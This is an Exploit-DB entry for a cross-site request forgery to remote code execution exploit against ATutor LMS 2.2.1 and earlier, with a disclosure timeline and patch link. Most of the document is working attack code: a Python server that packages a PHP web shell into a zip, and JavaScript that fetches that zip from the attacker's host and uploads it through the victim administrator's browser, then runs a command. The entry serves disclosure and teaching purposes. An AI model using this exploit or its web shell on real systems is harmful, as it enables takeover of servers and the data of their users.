Exploit-DB #39524
Description: ATutor LMS - '/install_modules.php' Cross-Site Request Forgery / Remote Code Execution
Type: webapps
Platform: php
Date: 2016-03-07
Author: mr_me

Exploit:
/* exp.js

ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution
by mr_me

Notes:
``````
- Discovered for @ipn_mx students advanced php vuln/dev class
- Tested on the latest FireFox 44.0.2 release build
- This poc simply uploads a zip file as pwn/si.php with a "<?php system($_GET['cmd']); ?>" in it
- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
- Use this with your favorite XSS attack
- Student proof, aka bullet proof

Timeline:
`````````
23/02/2016 - notified vendor via info[at]atutor[dot]ca
24/02/2016 - requested CVE and assigned CVE-2016-2539
24/02/2016 - vendor replied stating they are investigating the issue
05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)
06/03/2016 - coordinated public release

Example: 
````````
mr_me@jupiter:~$ cat poc.py 
#!/usr/bin/python

import sys
import zipfile
import BaseHTTPServer
from cStringIO import StringIO
from SimpleHTTPServer import SimpleHTTPRequestHandler

if len(sys.argv) < 3:
    print "Usage: %s <lport> <target>" % sys.argv[0]
    print "eg: %s 8000 172.16.69.128" % sys.argv[0]
    sys.exit(1)

def _build_zip():
    """
    builds the zip file
    """
    f = StringIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('pwn/si.php', "<?php system($_GET['cmd']); ?>")
    z.close()
    handle = open('pwn.zip','wb')
    handle.write(f.getvalue())
    handle.close

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2])
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    _build_zip()
    BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)

mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 -
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 -

~ de Mexico con amor,

*/

var get_hostname = function(href) {
    var l = document.createElement("a");
    l.href = href;
    return l.hostname + ":" + l.port;
};

function trolololol(url, file_data, filename) {
   var file_size = file_data.length,
   boundary = "[PII_REDACTED][PII_REDACTED]1721278",
   xhr = new XMLHttpRequest();

   // latest ff doesnt have sendAsBinary(), so we redefine it
   if(!xhr.sendAsBinary){
      xhr.sendAsBinary = function(datastr) {
          function byteValue(x) {
              return x.charCodeAt(0) & 0xff;
          }
          var ords = Array.prototype.map.call(datastr, byteValue);
          var ui8a = new Uint8Array(ords);
          this.send(ui8a.buffer);
      }
   }
   
   // the callback after this stage is done...
   xhr.onreadystatechange = function() {
       if (xhr.readyState == XMLHttpRequest.DONE) {
           xhr = new XMLHttpRequest();
           // change this if you change the zip
           xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true);
           xhr.send();
       }
   }

   xhr.open("POST", url, true);
   // simulate a file MIME POST request.
   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", file_size);
   var body = "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n';
   body += "Content-Type: archive/zip\r\n\r\n";
   body += file_data + "\r\n";
   body += "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n';
   body += "junk\r\n";
   body += "--" + boundary;
   xhr.sendAsBinary(body);
   return true;
}

function pwn(){
    var xhr = new XMLHttpRequest();
    // et phone home
    var home = get_hostname(document.scripts[0].src);
    // get our own zip file
    xhr.open('GET', 'http://' + home + '/pwn.zip', true);
    xhr.responseType = 'blob';
    xhr.onload = function(e) {
        if (this.status == 200) {
            // use the FileReader class to get the raw binary
            var reader = new window.FileReader();
            reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'})); 
            reader.onloadend = function() {
                trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip");
            }
        }
    };
    xhr.send();
}

pwn();